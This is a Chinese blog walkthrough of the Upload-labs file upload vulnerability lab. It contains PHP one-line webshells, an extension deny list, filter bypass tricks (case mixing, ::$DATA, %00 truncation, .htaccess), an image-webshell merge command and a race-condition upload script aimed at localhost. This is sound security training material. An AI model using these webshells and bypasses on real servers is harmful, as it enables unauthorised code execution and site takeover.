目录
  1. 1. 概要
  2. 2. 前端检测
    1. 2.1. Pass-01
  3. 3. 后缀名的检测
    1. 3.1. Pass-02
    2. 3.2. Pass-03
    3. 3.3. Pass-04
    4. 3.4. Pass-05-10 参照物
    5. 3.5. Pass-05
    6. 3.6. Pass-06
    7. 3.7. Pass-07
    8. 3.8. Pass-08
    9. 3.9. Pass-09
    10. 3.10. Pass-10
    11. 3.11. Pass-11
    12. 3.12. Pass-12
  4. 4. 文件内容的检查
    1. 4.1. Pass-13~16
  5. 5. 代码逻辑
    1. 5.1. Pass-17
    2. 5.2. Pass-18
    3. 5.3. Pass-19
    4. 5.4. Pass-20
通过 Upload-labs 掌握文件上传漏洞

项目地址https://github.com/c0ny1/upload-labs

概要


运行环境为:windows + php:5.2.17

写自己的马的时候最好直接写成 phpinfo:

<?php
phpinfo();
?>

这样方便你进行查看你上传的马是否被解析,我这里因为环境配置的原因,不能使用phpinfo,所以只能一个一个菜刀连,才能检验是否上传解析成功(但是连菜刀的时候有种莫名的快感

每打通一关后就请一下自己的马叭,留在自己电脑上万一哪一天…


前端检测

Pass-01

考点:前端验证的绕过

随便上传一个php的一句话木马

<?php @eval($_POST[value]);?>

后缀名为 .php,上传时被拦截,并弹窗说明该文件不允许上传,请上传.jpg|.png|.gif类型的文件,当前文件类型为:.php

但是 burpsuite 没有抓到包

猜测是前端js对上传的文件的后缀名进行了限制,跟进一下网页源码,这段js对文件上传的后缀名进行了判断操作

前端js的校验是很不安全的

解决方法如下:

  1. 直接禁用前端js,使其js不能起到禁止文件上传的作用
  2. 在js白名单校验处添加 .php使其能够正常上传(chrome下F12尝试更改了一下,没有成功,大家可以自行尝试
  3. 传统办法:先将木马文件后缀改为 .jpg格式,上传抓包,在burpsuite中修改后缀为 .php

这里采用 Firefox 下的一个插件 Noscript(方便极了…
下载地址:https://addons.mozilla.org/zh-CN/firefox/addon/noscript/

直接禁用掉当前页面的js,暴力上传我们的php文件

测试一下,然后自己连上自己的马


后缀名的检测

Pass-02

考点:Content-Type的验证

源码中的文件上传的先决判断条件为

if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif'))

$_FILES["file"]["type"] —— 对应上传文件的类型

对其type属性进行了白名单限制,可见相应的是判断 Content-Type 的内容,上传jpg格式的图片,jpg格式的图片的Content-Type默认为 image/jpeg

于是在 burpsuite 中选择修改 Content-Type 中的值如下图

常见的图片格式
PNG图像:image/png
GIF图形: image/gif
JPG图形:image/jpeg


Pass-03

考点:黑名单后缀的绕过

首先还是随便传一个PHP一句话

然后网站提示:不允许上传.asp,.aspx,.php,.jsp后缀文件!

且 burpsuite 抓得到包,说明不是通过前端js判断,所以通过 burpsuite 抓包修改文件后缀为 php5或者 phtml

注:能够解析php5前提是apache的httpd.conf中有如下配置代码
AddType application/x-httpd-php .php .phtml .phps .php5

这里就直接使用 burpsuite 修改后缀名为 .phtml

一开始用C刀连发现连不上,但是看文件夹里面的 ma 都传上去了…换了把刀之后就好了(刀还是多备几把emm…

常用后缀名绕过 .php; .php5; .php4; .php3; .php2; .phtml; .pht; .pHp; .pHp5; .pHp4; .pHp3; .pHp2

但是观察源码发现没有过滤 .hraccess, 所以这关还可以使用 htaccess修改配置绕过

具体方法见下文


Pass-04

考点:.htaccess的妙用

相比于上一关的过滤,这一关要严格许多

.htaccess文件概述

写一个 .htaccess 文件,内容如下:

<FilesMatch "ma">
SetHandler application/x-httpd-php
</FilesMatch>

这样所有包含 ma 的文件名就会自动解析成 php 文件

但是在windows下更改 .htaccess 时出错

故还是通过 burpsuite 抓包改包的方式来上传文件

上传成功之后开始接着上传我们的马,带了 ma 关键词的也不在黑名单之内的都可以成功上传

所以我们直接上传成jpg格式的,会被成功解析,菜刀直连


Pass-05-10 参照物

先贴一个相对于过滤完全的源码,立为参照物

<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>

Pass-05

考点:大小写混写绕过黑名单

第五关在源码的黑名单中加入了 .htaccess ,所以这一关将不能继续使用前面的方法

array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");

考点还是黑名单的绕过

法一:大小写混写

我猜这应该是作者主要想考察的点,对比一下前面贴的参照物的源码可以发现,缺少一个过滤点如下

$file_ext = strtolower($file_ext); //转换为小写

所以这关我们采用大小写混写的方式进行绕过

还是传统的抓包改包,修改文件的名称

.php 修改为 ——》 .phP 即可

法二:各类中间件的漏洞

由于本地环境达不到要求,所以就跳过了此方法

注:有其他部分关卡也可以利用此方法,只需要搭建你的环境即可,感兴趣的老哥可以自行尝试

部分中间件漏洞总结

Pass-06

考点:空格绕过黑名单

这一关还是过滤了前面已经过滤的东西,但对比一下前面贴的参照物的源码可以发现,缺少一个过滤点如下

$file_ext = trim($file_ext); //首尾去空

所以这里直接上传的时候加一个空格,前面解释过的windows会将空格忽略掉

所以我们 burpsuite 抓包,直接修改为 .php[空格]

这样既能绕过黑名单,还能被成功解析,最后成功连接上菜刀


Pass-07

考点:.绕过黑名单

这一关还是过滤了前面已经过滤的东西,但对比一下前面贴的参照物的源码可以发现,缺少一个过滤点如下

$file_name = deldot($file_name);//删除文件名末尾的点

利用上述windows特性上传 ma.php..即可

因为拼凑的路径是最初读取到的文件名,所以在windows下可成功上传


Pass-08

考点:::$DATA 绕过黑名单

这一关还是过滤了前面已经过滤的东西,但对比一下前面贴的参照物的源码可以发现,缺少一个过滤点如下

$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

在看雪论坛中已经有人对 ::$DATA 做过详解:https://bbs.pediy.com/thread-246118.htm

Windows文件流特性: ::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持 ::$DATA之前的文件名

所以直接利用windows文件流特性上传文件 ma.php::$DATA(仅限windows


Pass-09

考点:.[空格]. 绕过黑名单

这一关还是过滤了前面已经过滤的东西,但对比一下前面贴的参照物的源码可以发现,拼接参数的差异性如下

参照物中采用了拼接经过strrchr()处理过的后缀名,而第9关直接使用了读取原来的文件名

因为源码中只进行了一次点号的去除,且我们只需要让经过过滤后的后缀名不在黑名单里即可,所以我们直接采用 ma.[空格]. 就可以进行绕过

且deldot()函数的处理为:deldot函数从后向前检测,检测到末尾的第一个点时将继续检测,当检测到空格时就停下来,不再检测

所以第9关处理流程如下


Pass-10

考点:双写后缀绕过黑名单

第10关精简的代码过滤也很奇葩

<?php 
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>

其中通过 $file_name = str_ireplace($deny_ext,"", $file_name); 这个过滤点来处理黑名单的后缀

str_ireplace() 函数替换字符串中的一些字符(不区分大小写)。

所以这一行的代码仅仅是把匹配到的黑名单后缀替换为空了(只进行一次操作)

从xss里面的这种过滤点的启发告诉我们只需要双写我们的后缀名,然后进行一次替换为空,就可以重新利用了

pphphp ——》替换一次 p[php->空]hp ——》 php

所以当我们上传 ma.pphphp 时最终剩下 ma.php



Pass-11

考点:00截断之GET

先贴一个链接 00截断上传原理

浅显的意思就是在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束

所以代码中导致漏洞的点在这一句

所以我们只需要在burpsuite中做出相应的更改

在第一次上传中显示上传出错

仔细查看配置后发现我们 phpstudy 中的 magic_quotes_gpc 是默认开启的

magic_quotes_gpc_百度百科

猜测可能是由于我们的 %00被当成了空字节,然后进入服务端,在预定义字符前面添加了反斜杠(不是很清楚,大佬轻喷)

所以在phpstudy中关闭这个的选项即可成功上传

先知的一篇文章中也在此指出 CVE-2015-2348
影响版本:5.4.x<= 5.4.39, 5.5.x<= 5.5.23, 5.6.x <= 5.6.7
exp:move_uploaded_file($_FILES['name']['tmp_name'],"/file.php\x00.jpg");


Pass-12

考点:00截断之POST

源码和上一关大同小异,对比一下两关在对 save_path处处理的差异性

服务器不会自动将%00编码为空字符,具体操作和上一关大同小异

看了一下其他的 wp 通过burpsuite里面的hex修改,我觉得是没有什么必要的,找着找着眼睛都花了…

不得不说一下 burpsuite 的强大

还是可以成功上传

还是在关闭 phpstudy 中的magic_quotes_gpc 的情况下


文件内容的检查

Pass-13~16

考点:妙用图片马

首先需要掌握的是制作图片马

具体可参考:制作一句话图片马

方法一:010 Editor 编辑

下载地址:https://www.sweetscape.com/download/010editor/

直接插入最右下方

方法二:cmd命令行

使用CMD制作一句话木马。
参数/b指定以二进制格式复制、合并文件; 用于图像类/声音类文件
参数/a指定以ASCII格式复制、合并文件。用于txt等文档类文件
copy 1.jpg/b+1.php 2.jpg
//意思是将1.jpg以二进制与1.php合并成2.jpg
那么2.jpg就是图片木马了。

四关分别通过不同的方式对其进行校验,但是我们只需按照上面的方法即可上传我们的图片马

Pass13:
$file_type = getReailFileType($temp_file);
getReailFileType函数只会读取文件的前两个字节

Pass14:

$info = getimagesize($filename);	//getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通 HTML 文件中 IMG 标记中的 height/width 文本字符串。


$ext = image_type_to_extension($info[2]); //取得图像类型的文件后缀

Pass15:

 //需要开启php_exif模块
$image_type = exif_imagetype($filename);

Pass16:
有了二次渲染的代码

原理:将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。具体实现需要自己编写Python程序,人工尝试基本是不可能构造出能绕过渲染函数的图片webshell的。
先知上有人基于16关专门开了一帖分析,分析得十分详细:upload-labs之pass 16详细分析


代码逻辑

Pass-17

考点:条件竞争

先看一波代码

<?php 
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif'); //白名单数组
$file_name = $_FILES['upload_file']['name']; //保存的文件在上传者机器上的文件名,
$temp_file = $_FILES['upload_file']['tmp_name']; //——保存的是文件上传到服务器临时文件夹之后的文件名
$file_ext = substr($file_name,strrpos($file_name,".")+1); //截取后缀
$upload_file = UPLOAD_PATH . '/' . $file_name; //拼接路径

if(move_uploaded_file($temp_file, $upload_file)){ //将上传的文件移动到新位置。
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; //拼接
rename($upload_file, $img_path); //重命名
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file); //删除
}
}else{
$msg = '上传出错!';
}
}
?>

代码逻辑的漏洞点是有害文件先 :保存 ——》 检测 ——》删除

那么利用 从 保存 到 检测 的时间即可访问我们的文件

网上一个师傅的博客里有写到一个脚本 :http://poetichacker.com/writeup/%E4%BB%8Eupload-labs%E6%80%BB%E7%BB%93%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%E5%8F%8A%E5%85%B6%E7%BB%95%E8%BF%87.html

需要先安装模块 pip install hackhttp

#!/usr/bin/env python
# coding:utf-8
# Build By LandGrey

import hackhttp
from multiprocessing.dummy import Pool as ThreadPool


def upload(lists):
hh = hackhttp.hackhttp()
raw = """POST /upload-labs/Pass-17/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/upload-labs/Pass-17/index.php
Cookie: pass=17
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------6696274297634
Content-Length: 341

-----------------------------6696274297634
Content-Disposition: form-data; name="upload_file"; filename="17.php"
Content-Type: application/octet-stream

<?php assert($_POST["LandGrey"])?>
-----------------------------6696274297634
Content-Disposition: form-data; name="submit"

上传
-----------------------------6696274297634--
"""
code, head, html, redirect, log = hh.http('http://127.0.0.1/upload-labs/Pass-17/index.php', raw=raw)
print(str(code) + "\r")


pool = ThreadPool(10)
pool.map(upload, range(10000))
pool.close()
pool.join()

Pass-18

考点:条件竞争

还是逻辑漏洞

因为move在rename之前,move操作进行了一次文件保存,然后rename进行了一次更改文件名

所以在更名之前访问即可


Pass-19

考点:绕过

  • 法一

CVE-2015-2348 move_uploaded_file() 00截断

  • 法二
    move_uploaded_file会忽略掉文件末尾的/.

Pass-20

考点:数组绕过


参考链接:
https://xz.aliyun.com/t/4029#toc-0
https://xz.aliyun.com/t/2435#toc-0
https://blog.cfyqy.com/article/52a34cc3.html

文章作者: P2hm1n
文章链接: http://yoursite.com/2019/07/30/Upload-labs-Writeup/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 P2hm1n‘s Blog

评论